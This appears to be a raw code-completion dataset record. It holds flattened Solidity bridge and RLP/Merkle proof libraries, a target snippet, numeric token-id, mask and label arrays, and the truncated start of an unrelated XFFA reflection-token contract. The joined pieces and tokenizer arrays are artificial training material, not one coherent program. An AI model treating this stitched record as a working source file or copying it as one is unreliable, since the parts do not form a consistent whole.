blockNumber, payload.getBlockTime(), payload.getTxRoot(), receiptRoot, payload.getHeaderNumber(), payload.getBlockProof() ); ExitPayloadReader.LogTopics memory topics = log.getTopics(); require( bytes32(topics.getField(0).toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig "FxRootTunnel: INVALID_SIGNATURE" ); // received message data bytes memory message = abi.decode(log.getData(), (bytes)); // event decodes params again, so decoding bytes to get message return message; } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { (bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = checkpointManager.headerBlocks(headerNumber); require( keccak256(abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)).checkMembership( blockNumber - startBlock, headerRoot, blockProof ), "FxRootTunnel: INVALID_HEADER" ); return createdAt; } /** * @notice receive message from L2 to L1, validated by proof * @dev This function verifies if the transaction actually happened on child chain * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function receiveMessage(bytes memory inputData) public virtual { bytes memory message = _validateAndExtractMessage(inputData); _processMessageFromChild(message); } /** * @notice Process message received from Child Tunnel * @dev function needs to be implemented to handle message as per requirement * This is called by onStateReceive function. * Since it is called via a system call, any event will not be emitted during its execution. * @param message bytes message that was sent from Child Tunnel */ function _processMessageFromChild(bytes memory message) internal virtual; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <=0.8.9; pragma experimental ABIEncoderV2; import "../interfaces/IMessengerWrapper.sol"; abstract contract MessengerWrapper is IMessengerWrapper { address public immutable l1BridgeAddress; constructor(address _l1BridgeAddress) internal { l1BridgeAddress = _l1BridgeAddress; } modifier onlyL1Bridge { require(msg.sender == l1BridgeAddress, "MW: Sender must be the L1 Bridge"); _; } } /* * @author Hamdi Allam [email protected] * Please reach out with any questions or concerns */ pragma solidity ^0.8.0; library RLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; struct RLPItem { uint256 len; uint256 memPtr; } struct Iterator { RLPItem item; // Item that's being iterated over. uint256 nextPtr; // Position of the next item in the list. } /* * @dev Returns the next element in the iteration. Reverts if it has not next element. * @param self The iterator. * @return The next element in the iteration. */ function next(Iterator memory self) internal pure returns (RLPItem memory) { require(hasNext(self)); uint256 ptr = self.nextPtr; uint256 itemLength = _itemLength(ptr); self.nextPtr = ptr + itemLength; return RLPItem(itemLength, ptr); } /* * @dev Returns true if the iteration has more elements. * @param self The iterator. * @return true if the iteration has more elements. */ function hasNext(Iterator memory self) internal pure returns (bool) { RLPItem memory item = self.item; return self.nextPtr < item.memPtr + item.len; } /* * @param item RLP encoded bytes */ function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) { uint256 memPtr; assembly { memPtr := add(item, 0x20) } return RLPItem(item.length, memPtr); } /* * @dev Create an iterator. Reverts if item is not a list. * @param self The RLP item. * @return An 'Iterator' over the item. */ function iterator(RLPItem memory self) internal pure returns (Iterator memory) { require(isList(self)); uint256 ptr = self.memPtr + _payloadOffset(self.memPtr); return Iterator(self, ptr); } /* * @param item RLP encoded bytes */ function rlpLen(RLPItem memory item) internal pure returns (uint256) { return item.len; } /* * @param item RLP encoded bytes */ function payloadLen(RLPItem memory item) internal pure returns (uint256) { return item.len - _payloadOffset(item.memPtr); } /* * @param item RLP encoded list in bytes */ function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) { require(isList(item)); uint256 items = numItems(item); RLPItem[] memory result = new RLPItem[](items); uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 dataLen; for (uint256 i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } return result; } // @return indicator whether encoded payload is a list. negate this function call for isData. function isList(RLPItem memory item) internal pure returns (bool) { if (item.len == 0) return false; uint8 byte0; uint256 memPtr = item.memPtr; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < LIST_SHORT_START) return false; return true; } /* * @dev A cheaper version of keccak256(toRlpBytes(item)) that avoids copying memory. * @return keccak256 hash of RLP encoded bytes. */ function rlpBytesKeccak256(RLPItem memory item) internal pure returns (bytes32) { uint256 ptr = item.memPtr; uint256 len = item.len; bytes32 result; assembly { result := keccak256(ptr, len) } return result; } function payloadLocation(RLPItem memory item) internal pure returns (uint256, uint256) { uint256 offset = _payloadOffset(item.memPtr); uint256 memPtr = item.memPtr + offset; uint256 len = item.len - offset; // data length return (memPtr, len); } /* * @dev A cheaper version of keccak256(toBytes(item)) that avoids copying memory. * @return keccak256 hash of the item payload. */ function payloadKeccak256(RLPItem memory item) internal pure returns (bytes32) { (uint256 memPtr, uint256 len) = payloadLocation(item); bytes32 result; assembly { result := keccak256(memPtr, len) } return result; } /** RLPItem conversions into data types **/ // @returns raw rlp encoding in bytes function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) { bytes memory result = new bytes(item.len); if (result.length == 0) return result; uint256 ptr; assembly { ptr := add(0x20, result) } copy(item.memPtr, ptr, item.len); return result; } // any non-zero byte is considered true function toBoolean(RLPItem memory item) internal pure returns (bool) { require(item.len == 1); uint256 result; uint256 memPtr = item.memPtr; assembly { result := byte(0, mload(memPtr)) } return result == 0 ? false : true; } function toAddress(RLPItem memory item) internal pure returns (address) { // 1 byte for the length prefix require(item.len == 21); return address(uint160(toUint(item))); } function toUint(RLPItem memory item) internal pure returns (uint256) { require(item.len > 0 && item.len <= 33); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; uint256 result; uint256 memPtr = item.memPtr + offset; assembly { result := mload(memPtr) // shfit to the correct location if neccesary if lt(len, 32) { result := div(result, exp(256, sub(32, len))) } } return result; } // enforces 32 byte length function toUintStrict(RLPItem memory item) internal pure returns (uint256) { // one byte prefix require(item.len == 33); uint256 result; uint256 memPtr = item.memPtr + 1; assembly { result := mload(memPtr) } return result; } function toBytes(RLPItem memory item) internal pure returns (bytes memory) { require(item.len > 0); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; // data length bytes memory result = new bytes(len); uint256 destPtr; assembly { destPtr := add(0x20, result) } copy(item.memPtr + offset, destPtr, len); return result; } /* * Private Helpers */ // @return number of payload items inside an encoded list. function numItems(RLPItem memory item) private pure returns (uint256) { if (item.len == 0) return 0; uint256 count = 0; uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 endPtr = item.memPtr + item.len; while (currPtr < endPtr) { currPtr = currPtr + _itemLength(currPtr); // skip over an item count++; } return count; } // @return entire rlp item byte length function _itemLength(uint256 memPtr) private pure returns (uint256) { uint256 itemLen; uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) itemLen = 1; else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is memPtr := add(memPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len itemLen := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { itemLen = byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) memPtr := add(memPtr, 1) let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length itemLen := add(dataLen, add(byteLen, 1)) } } return itemLen; } // @return number of bytes until the data function _payloadOffset(uint256 memPtr) private pure returns (uint256) { uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) // being explicit return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } /* * @param src Pointer to source * @param dest Pointer to destination * @param len Amount of memory to copy from the source */ function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } if (len == 0) return; // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {RLPReader} from "./RLPReader.sol"; library MerklePatriciaProof { /* * @dev Verifies a merkle patricia proof. * @param value The terminating value in the trie. * @param encodedPath The path in the trie leading to value. * @param rlpParentNodes The rlp encoded stack of nodes. * @param root The root hash of the trie. * @return The boolean validity of the proof. */ function verify( bytes memory value, bytes memory encodedPath, bytes memory rlpParentNodes, bytes32 root ) internal pure returns (bool) { RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes); RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item); bytes memory currentNode; RLPReader.RLPItem[] memory currentNodeList; bytes32 nodeKey = root; uint256 pathPtr = 0; bytes memory path = _getNibbleArray(encodedPath); if (path.length == 0) { return false; } for (uint256 i = 0; i < parentNodes.length; i++) { if (pathPtr > path.length) { return false; } currentNode = RLPReader.toRlpBytes(parentNodes[i]); if (nodeKey != keccak256(currentNode)) { return false; } currentNodeList = RLPReader.toList(parentNodes[i]); if (currentNodeList.length == 17) { if (pathPtr == path.length) { if (keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value)) { return true; } else { return false; } } uint8 nextPathNibble = uint8(path[pathPtr]); if (nextPathNibble > 16) { return false; } nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[nextPathNibble])); pathPtr += 1; } else if (currentNodeList.length == 2) { uint256 traversed = _nibblesToTraverse(RLPReader.toBytes(currentNodeList[0]), path, pathPtr); if (pathPtr + traversed == path.length) { //leaf node if (keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value)) { return true; } else { return false; } } //extension node if (traversed == 0) { return false; } pathPtr += traversed; nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1])); } else { return false; } } } function _nibblesToTraverse( bytes memory encodedPartialPath, bytes memory path, uint256 pathPtr ) private pure returns (uint256) { uint256 len = 0; // encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath // and slicedPath have elements that are each one hex character (1 nibble) bytes memory partialPath = _getNibbleArray(encodedPartialPath); bytes memory slicedPath = new bytes(partialPath.length); // pathPtr counts nibbles in path // partialPath.length is a number of nibbles for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) { bytes1 pathNibble = path[i]; slicedPath[i - pathPtr] = pathNibble; } if (keccak256(partialPath) == keccak256(slicedPath)) { len = partialPath.length; } else { len = 0; } return len; } // bytes b must be hp encoded function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) { bytes memory nibbles = ""; if (b.length > 0) { uint8 offset; uint8 hpNibble = uint8(_getNthNibbleOfBytes(0, b)); if (hpNibble == 1 || hpNibble == 3) { nibbles = new bytes(b.length * 2 - 1); bytes1 oddNibble = _getNthNibbleOfBytes(1, b); nibbles[0] = oddNibble; offset = 1; } else { nibbles = new bytes(b.length * 2 - 2); offset = 0; } for (uint256 i = offset; i < nibbles.length; i++) { nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b); } } return nibbles; } function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) { return bytes1(n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Merkle { function checkMembership( bytes32 leaf, uint256 index, bytes32 rootHash, bytes memory proof ) internal pure returns (bool) { require(proof.length % 32 == 0, "Invalid proof length"); uint256 proofHeight = proof.length / 32; // Proof of size n means, height of the tree is n+1. // In a tree of height n+1, max #leafs possible is 2 ^ n require(index < 2**proofHeight, "Leaf index is too big"); bytes32 proofElement; bytes32 computedHash = leaf; for (uint256 i = 32; i <= proof.length; i += 32) { assembly { proofElement := mload(add(proof, i)) } if (index % 2 == 0) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } index = index / 2; } return computedHash == rootHash; } } pragma solidity ^0.8.0; import {RLPReader} from "./RLPReader.sol"; library ExitPayloadReader { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; uint8 constant WORD_SIZE = 32; struct ExitPayload { RLPReader.RLPItem[] data; } struct Receipt { RLPReader.RLPItem[] data; bytes raw; uint256 logIndex; } struct Log { RLPReader.RLPItem data; RLPReader.RLPItem[] list; } struct LogTopics { RLPReader.RLPItem[] data; } // copy paste of private copy() from RLPReader to avoid changing of existing contracts function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } function toExitPayload(bytes memory data) internal pure returns (ExitPayload memory) { RLPReader.RLPItem[] memory payloadData = data.toRlpItem().toList(); return ExitPayload(payloadData); } function getHeaderNumber(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[0].toUint(); } function getBlockProof(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[1].toBytes(); } function getBlockNumber(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[2].toUint(); } function getBlockTime(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[3].toUint(); } function getTxRoot(ExitPayload memory payload) internal pure returns (bytes32) { return bytes32(payload.data[4].toUint()); } function getReceiptRoot(ExitPayload memory payload) internal pure returns (bytes32) { return bytes32(payload.data[5].toUint()); } function getReceipt(ExitPayload memory payload) internal pure returns (Receipt memory receipt) { receipt.raw = payload.data[6].toBytes(); RLPReader.RLPItem memory receiptItem = receipt.raw.toRlpItem(); if (receiptItem.isList()) { // legacy tx receipt.data = receiptItem.toList(); } else { // pop first byte before parsting receipt bytes memory typedBytes = receipt.raw; bytes memory result = new bytes(typedBytes.length - 1); uint256 srcPtr; uint256 destPtr; assembly { srcPtr := add(33, typedBytes) destPtr := add(0x20, result) } copy(srcPtr, destPtr, result.length); receipt.data = result.toRlpItem().toList(); } receipt.logIndex = getReceiptLogIndex(payload); return receipt; } function getReceiptProof(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[7].toBytes(); } function getBranchMaskAsBytes(ExitPayload memory payload) internal pure returns (bytes memory) { return payload.data[8].toBytes(); } function getBranchMaskAsUint(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[8].toUint(); } function getReceiptLogIndex(ExitPayload memory payload) internal pure returns (uint256) { return payload.data[9].toUint(); } // Receipt methods function toBytes(Receipt memory receipt) internal pure returns (bytes memory) { return receipt.raw; } function getLog(Receipt memory receipt) internal pure returns (Log memory) { RLPReader.RLPItem memory logData = receipt.data[3].toList()[receipt.logIndex]; return Log(logData, logData.toList()); } // Log methods function getEmitter(Log memory log) internal pure returns (address) { return RLPReader.toAddress(log.list[0]); } function getTopics(Log memory log) internal pure returns (LogTopics memory) { return LogTopics(log.list[1].toList()); } function getData(Log memory log) internal pure returns (bytes memory) { return log.list[2].toBytes(); } function toRlpBytes(Log memory log) internal pure returns (bytes memory) { return log.data.toRlpBytes(); } // LogTopics methods function getField(LogTopics memory topics, uint256 index) internal pure returns (RLPReader.RLPItem memory) { return topics.data[index]; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <=0.8.9; pragma experimental ABIEncoderV2; interface IMessengerWrapper { function sendCrossDomainMessage(bytes memory _calldata) external; function verifySender(address l1BridgeCaller, bytes memory _data) external; }
@param item RLP encoded list in bytes/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) { require(isList(item)); uint256 items = numItems(item); RLPItem[] memory result = new RLPItem[](items); uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 dataLen; for (uint256 i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } return result; }
159,463
[ 1, 1726, 534, 14461, 3749, 666, 316, 1731, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12277, 12, 54, 48, 1102, 874, 3778, 761, 13, 2713, 16618, 1135, 261, 54, 48, 1102, 874, 8526, 3778, 13, 288, 203, 3639, 2583, 12, 291, 682, 12, 1726, 10019, 203, 203, 3639, 2254, 5034, 1516, 273, 818, 3126, 12, 1726, 1769, 203, 3639, 534, 48, 1102, 874, 8526, 3778, 563, 273, 394, 534, 48, 1102, 874, 8526, 12, 3319, 1769, 203, 203, 3639, 2254, 5034, 1663, 5263, 273, 761, 18, 3917, 5263, 397, 389, 7648, 2335, 12, 1726, 18, 3917, 5263, 1769, 203, 3639, 2254, 5034, 501, 2891, 31, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 1516, 31, 277, 27245, 288, 203, 5411, 501, 2891, 273, 389, 1726, 1782, 12, 3917, 5263, 1769, 203, 5411, 563, 63, 77, 65, 273, 534, 48, 1102, 874, 12, 892, 2891, 16, 1663, 5263, 1769, 203, 5411, 1663, 5263, 273, 1663, 5263, 397, 501, 2891, 31, 203, 3639, 289, 203, 203, 3639, 327, 563, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * (0x%x,2909) Solo une altro contratta che ho fatto. Nel codice ci fidiame. In crito e rifugio. Crito-difese à vita. * * Author: 2021 Crypto Fix Finance and Contributors. BSD 3-Clause Licensed. * Baseate ni Putanas. * Passed compliance checks by 0xFF4 marked XFC. * Final version: need to change router and wallet_xxx only. * v0.4 flex tax, moved Best Common Practice functions to inc/OZBCP.sol to somewhere else. * v0.4.3 brought some initial cryptopanarchy elements, fixed bugs and run unit tests. * v0.4.4 starting to incorporate some properties from my crypto-panarchy model: (f0.1) health, natural disaster, commercial * engagements with particular contract signature, fine, trust chain and finally private arbitration. * v0.5.1 implemented several crypto-panarchy elements into this contract, fully tested so far. * v0.5.2 coded private court arbitration under policentric law model inspired by Tracanelli-Bell prov arbitration model * v0.5.3 added hash based signature to private agreements * v0.5.4 wdAgreement implemented, however EVM contract size is too large, reduced optimizations run as low as 50 * v0.5.5 refactored contract due to size limit (added a library, merged functions, converted public, shortened err messages, etc) * v0.5.6 VolNI & DAO as external contracts interacting with main contract due to contract size and proper architecture * * XXXTODO (Feature List F#): * - {DONE} (f1) taxationMechanisms: HOA-like, convenant community (Hoppe), Tax=Theft (Rothbard), Voluntary Taxation (Objectivism) * - {DONE} (f2) reflection mechanism * - {DONE} (f3) Burn/LP/Reward mechanisms comon to tokens on the surface * - {DONE} (f4) contract management: ownership transfer, resignation; contract lock/unlock, routerUpdate * - (f5) DAO: contractUpgrade, transfer ownership to DAO contract for management * - {DONE} (f6) criar um mecanismo que cobra taxa apenas de transacoes na pool, taxa sobre servico nao circulacao. * - {DONE} (f7) v5.1 add auto health wallet (wallet_health) and private SailBoat insurance (wallet_sailboat||wallet_health) * - {DONE} (f8) account individual contributors to health wallet. * - {DONE} (f9) arbitrated contract mechanism setAgreement(hashDoc,multa,arbitragemScheme,tribunalPrivado,wallet_juiz,assinatura,etc) * - (f10) mechanism for NI (negative income) (maybe import from Seasteading Bahamas Denizens (SeaBSD) * - {DONE} (f11) v5.1 [trustChain] implement 0xff4 trust chain model (DEFCON-like): trust ontology cardinality 1:N:M * - {DONE} (f12) v5.1 [trustChain] firstTrustee, trustPoints[avg,qty], whoYouTrust, whoTrustYou, contractsViolated, optOutArbitrations(max:1) * - {DONE} (f13) v5.1 [trustChain] nickName, pgpPubK, sshPubK, x509pubK, Gecos field, Role field * - {DONE} (f14) v5.1 [trustChain] if you send 0,57721566 tokens to someone and nobody trusted this person before, you become their spFirstTrusteer * - {DONE} (f15) add mechanism to pool negotiation with trustedPersona only * - {DONE} (f16) add generic escrow mechanism allowing the private arbitration (admin) on the trust chain [trustChain] * * Before you deploy: * - Change CONFIG:hardcoded definitions according to this crypto-panarchy immutable terms. * - Change wallet_health initial address. * - Security Audit is done everywhere its noted **/ pragma solidity ^0.8.7; // SPDX-License-Identifier: BSD 3-Clause Licensed. //Author: (0x%x,2909) Crypto Fix Finance // Declara interfaces do ERC20/BEP20/SEP20 importa BCP do OZ e tbm interfaces e metodos da DeFi import "inc/OZBCP.sol"; import "inc/DEFI.sol"; import "inc/LIBXFFA.sol"; contract XFFAv5 is Context, IERC20, Ownable { using SafeMath for uint256; // no reason to keep using SafeMath on solic >= 0.8.x using Address for address; // Algumas propriedades particulares ao self=(msg.sender) e selfPersona (how self is seem or presents himself) struct selfProperties { string sNickname; // name yourself if/how you want: avatar, nick, alias, PGP key, x-persona uint256 sTaxFee; uint256 sLiquidityFee; uint256 sHealthFee; // health insurance fee (f0.1) // finger string sPgpPubK; string sSshPubK; string sX509PubK; string sGecos; // Unix generic commentaries field // trustChain address spFirstTrustee; address[] sYouTrust; address[] spTrustYou; uint256[2] spTrustPoints; // count,points uint256 spContractsViolated; // only the contract will set this uint256 spOptOutArbitrations; // only arbitrators should set this address[] ostracizedBy; // court or judge uint256 sRole; // 0=user, 1=judge/court/arbitrator // private agreements uint256[] spYouAgreementsSigned; } struct subContractProperties { string hash; string gecos; // generic comments describing the contract string url; // ipfs, https, etc uint256 fine; uint256 deposit; // uint instead of bool to save gwei, 1 = required address creator; uint256 createdOn; address arbitrator; // private court or selected judge uint256 arbitratorFee; // in tokens mapping (address => uint256) signedOn; // signees and timestamp mapping (address => string) signedHash; mapping (address => string) signComment; mapping (address => bytes32) signature; mapping (address => uint256) signatureNonce; mapping (address => uint256) finePaid; // bool->uint to save gas mapping (address => uint256) state; // 1=active/signed, 2=want_friendly_terminate, 3=want_dispute, 4=won_dispute, 5=lost_dispute, 21=friendly_withdrawaled, 41=disputed_wdled, 91=arbitrator_wdled 99=disputed_outside(ostracized) address[] signees; // list of who signed this contract } mapping (address => selfProperties) private _selfDetermined; mapping (uint256 => subContractProperties) private _privLawAgreement; uint256[] public _privLawAgreementIDs; //OLD version mapping (address => mapping (address => uint256)) private _selfDeterminedFees;// = [_taxFee, _liquidityFee, _healthFee]; // _rOwned e _tOwned melhores praticas do SM (conformidade com OpenZeppelin tbm) mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedF; // marca essa flag na wallet que nao paga fee mapping (address => bool) private _isExcludedR; // marca essa flag na wallet que nao recebe dividendos address[] private _excluded; address private wallet_health = 0x8c348A2a5Fd4a98EaFD017a66930f36385F3263A; //owner(); // Mudar para wallet health mapping (address => uint256) public healthDepositTracker; // (f8) track who deposits to bealth uint8 private constant _decimals = 8; // Auditoria XFC-05: constante uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 29092909 * 10**_decimals; // 2909 2909 milhoes Auditoria XFC-05: constante + decimals precisao cientifica pq das matematicas zoadas do sol uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Coin 0xFF4"; // Auditoria XFC-05: constante string private constant _symbol = "XFFA"; //Auditoria XFC-05: constante uint256 private _maxTassazione = 8; // tassazione massima, hello Trieste Friulane (CONFIG:hardcoded) uint256 private _taxFee = 1; // taxa pra dividendos uint256 private _previousTaxFee = _taxFee; // inicializa uint256 private _liquidityFee = 1; // taxa pra LP uint256 private _previousLiquidityFee = _liquidityFee; // inicializa uint256 private _burnFee = 1; // taxa de burn (deflacao) por operacao estrategia de deflacao continua (f3) uint256 private _previousBurnFee = _burnFee; // inicializa (f3) uint256 private _healthFee = 1; // Em porcentagem, fee direto pra health uint256 private _prevHealthFee = _healthFee; // Em porcentagem, fee direto pra health IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; // liga e desliga o mecanismo de liquidez bool private swapAndLiquifyEnabled = false; // inicializa uint256 private _maxTxAmount = 290900 * 10**_decimals; // mandei 290.9k max transfer que da 1% do supply inicial (nao do circulante, logo isso muda com o tempo) uint256 private numTokensSellToAddToLiquidity = 2909 * 10**_decimals; // 2909 minimo de tokens pra adicionar na LP se estiver abaixo event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); // liga event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); event AuthZ(uint256 _reason); modifier travaSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } /** * spOptOutArbitrations means a private law Court or selected arbitrator associated to a secondary * contract was ruled out because the party opted out exterritorial private crypto-panarchy society * going back to nation-state rule of law which is an explicity opt-out from our crypto-panarchy. * Maybe the ostracized x-persona invoked other arbitration mechanism outside this main contract * or outside the secondary contract terms. Usually it's less radical, therefore the ruling courts * should be asked. Court/judge address() is identifiable when it happens. This persona shall be * ostracized, boycotted or even physically removed from all states of affair related to this * contract. If by any means he is accepted back, should be another address as this operation is * not reversible. * **/ modifier notPhysicallyRemoved() { _notPhysicallyRemoved(); _; } function _notPhysicallyRemoved() internal view { require(_selfDetermined[_msgSender()].spOptOutArbitrations < 1, "A2: ostracized"); // ostracized } constructor () { _rOwned[_msgSender()] = _rTotal; //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); // PRD //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x928Add24A9dd3E76e72aD608c91C2E3b65907cdD); // Address for DeFi at Kooderit (FIX) //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xD99D1c33F9fC3444f8101754aBC46c52416550D1); // BSC Testnet IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7186Fe885Db3402102250bD3d79b7914c61414b1); // CryptoFIX Finance (FreeBSD) // Cria o parzinho Token/COIN pra swap e recebe endereco uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); //uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), address(0x465e07d6028830124BE2E4aA551fBe12805dB0f5)); // Wrapped XMR (Monero) // recebe as outras variaveis do contrato via IUniswapV2Router02 uniswapV2Router = _uniswapV2Router; //owner e o proprio contrato nao pagam fee inicialmente _isExcludedF[owner()] = true; _isExcludedF[address(this)] = true; // _isExcludedF[wallet_health] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // Auditoria XFC-05: view->pure nos 4 function name() public pure returns (string memory) { return _name; } function symbol() 